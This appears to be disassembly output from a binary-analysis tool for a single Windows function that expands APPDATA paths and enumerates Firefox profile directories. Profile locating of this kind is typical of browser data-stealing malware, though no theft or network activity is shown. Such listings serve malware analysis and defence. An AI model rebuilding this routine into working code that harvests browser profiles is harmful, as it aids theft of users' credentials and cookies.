Function at 0x100271dc
Capabilities:
Enumerate files on windows
Query environment variable

Disassembly:
push ebp
lea ebp, [esp - 0x18e8]
mov eax, 0x1968
call fcn.10049f60
mov eax, dword [0x1008bc20]
xor eax, ebp
mov dword [ebp + 0x18e4], eax
push ebx
push esi
push edi
mov esi, str._APPDATA_
lea edi, [ebp + 0x18d8]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
mov esi, str.Application_Data
lea edi, [ebp + 0x18c4]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
mov ebx, ecx
mov esi, 0x800
push esi
lea edi, [ebx + 0x128c]
push edi
lea eax, [ebp + 0x18d8]
push eax
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
test eax, eax
jne 0x10027250
lea eax, [ebp + 0x18c4]
push eax
push esi
push edi
call fcn.1004a640
add esp, 0xc
jmp 0x10027275
mov eax, edi
lea edi, [eax + 1]
push 0x1006a094
push edi
call fcn.10046520
pop ecx
pop ecx
test eax, eax
jne 0x10027252
push edi
lea edi, [ebx + 0x128c]
push edi
call fcn.10026a12
pop ecx
pop ecx
push str.Documents_and_Settings
push str.Application_Data
mov ecx, ebx
call fcn.10026a76
cmp eax, 1
jne 0x100272cc
lea eax, [ebx + 0x28c]
push eax
lea eax, [ebp + 0x8c4]
push esi
push eax
call fcn.1004a640
lea eax, [ebp + 0x8c4]
push eax
lea eax, [ebp + 0xc4]
push esi
push eax
call fcn.1004a640
push str.MozillaFirefoxProfiles
lea eax, [ebx + 0xa8c]
push esi
push eax
call fcn.1004a640
push str.Application_Data
jmp 0x10027325
push str.Users
push str.AppData
mov ecx, ebx
call fcn.10026a76
cmp eax, 1
jne 0x1002752a
lea eax, [ebx + 0x28c]
push eax
lea eax, [ebp + 0x8c4]
push esi
push eax
call fcn.1004a640
lea eax, [ebp + 0x8c4]
push eax
lea eax, [ebp + 0xc4]
push esi
push eax
call fcn.1004a640
push str.RoamingMozillaFirefoxProfiles
lea eax, [ebx + 0xa8c]
push esi
push eax
call fcn.1004a640
push str.AppData
push esi
push edi
call fcn.1004a640
add esp, 0x30
push 0x1006a0c8
lea eax, [ebp + 0x8c4]
push esi
push eax
call fcn.1004a5cc
mov edi, dword [sym.imp.KERNEL32.dll_FindFirstFileA]
add esp, 0xc
lea eax, [ebx + 0x140]
push eax
lea eax, [ebp + 0x8c4]
push eax
call edi
mov dword [ebx + 0x284], eax
cmp eax, 0xffffffff
je 0x1002752a
test byte [ebx + 0x140], 0x10
je 0x1002750f
lea eax, [ebx + 0x16c]
push 0x100686f8
push eax
call fcn.100496e0
pop ecx
pop ecx
test eax, eax
je 0x1002750f
lea eax, [ebx + 0x16c]
push 0x1006a0b4
push eax
call fcn.100496e0
pop ecx
pop ecx
test eax, eax
je 0x1002750f
lea eax, [ebp + 0xc4]
push eax
lea eax, [ebp + 0x10c4]
push esi
push eax
call fcn.1004a640
lea eax, [ebx + 0x16c]
push eax
lea eax, [ebp + 0x10c4]
push esi
push eax
call fcn.1004a5cc
push 0x1006a0b0
lea eax, [ebp + 0x10c4]
push esi
push eax
call fcn.1004a5cc
add esp, 0x24
lea eax, [ebp - 0x7c]
push eax
lea eax, [ebp + 0x10c4]
push eax
call edi
mov dword [ebp - 0x80], eax
cmp eax, 0xffffffff
je 0x1002750f
test byte [ebp - 0x7c], 0x10
je 0x100274f1
lea eax, [ebp - 0x50]
push 0x100686f8
push eax
call fcn.100496e0
pop ecx
pop ecx
test eax, eax
je 0x100274f1
lea eax, [ebp - 0x50]
push 0x1006a0b4
push eax
call fcn.100496e0
pop ecx
pop ecx
test eax, eax
je 0x100274f1
lea eax, [ebp - 0x50]
push eax
lea eax, [ebx + 0x128c]
push eax
call fcn.10046520
pop ecx
pop ecx
test eax, eax
je 0x100274f1
lea eax, [ebp + 0x10c4]
push eax
call fcn.100465b0
lea ecx, [ebp + 0x10c4]
dec ecx
mov byte [eax + ecx], 0
lea eax, [ebp - 0x50]
push eax
lea eax, [ebp + 0x10c4]
push esi
push eax
call fcn.1004a5cc
lea eax, [ebx + 0xa8c]
push eax
lea eax, [ebp + 0x10c4]
push esi
push eax
call fcn.1004a5cc
add esp, 0x1c
push ebx
lea eax, [ebp + 0x10c4]
push eax
call edi
mov dword [ebx + 0x280], eax
cmp eax, 0xffffffff
je 0x100274f1
test byte [ebx], 0x10
je 0x100274d7
lea eax, [ebx + 0x2c]
push 0x100686f8
push eax
call fcn.100496e0
pop ecx
pop ecx
test eax, eax
je 0x100274d7
lea eax, [ebx + 0x2c]
push 0x1006a0b4
push eax
call fcn.100496e0
pop ecx
pop ecx
test eax, eax
jne 0x100274e8
push ebx
push dword [ebx + 0x280]
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x100274aa
cmp dword [ebx + 0x280], 0xffffffff
jne 0x10027544
lea eax, [ebp - 0x7c]
push eax
push dword [ebp - 0x80]
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x10027402
push dword [ebp - 0x80]
call dword [sym.imp.KERNEL32.dll_FindClose]
lea eax, [ebx + 0x140]
push eax
push dword [ebx + 0x284]
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x10027369
xor eax, eax
mov ecx, dword [ebp + 0x18e4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10045c30
add ebp, 0x18e8
leave
ret
push dword [ebp - 0x80]
xor esi, esi
inc esi
mov dword [ebx + 0x288], esi
call dword [sym.imp.KERNEL32.dll_FindClose]
mov eax, esi
jmp 0x1002752c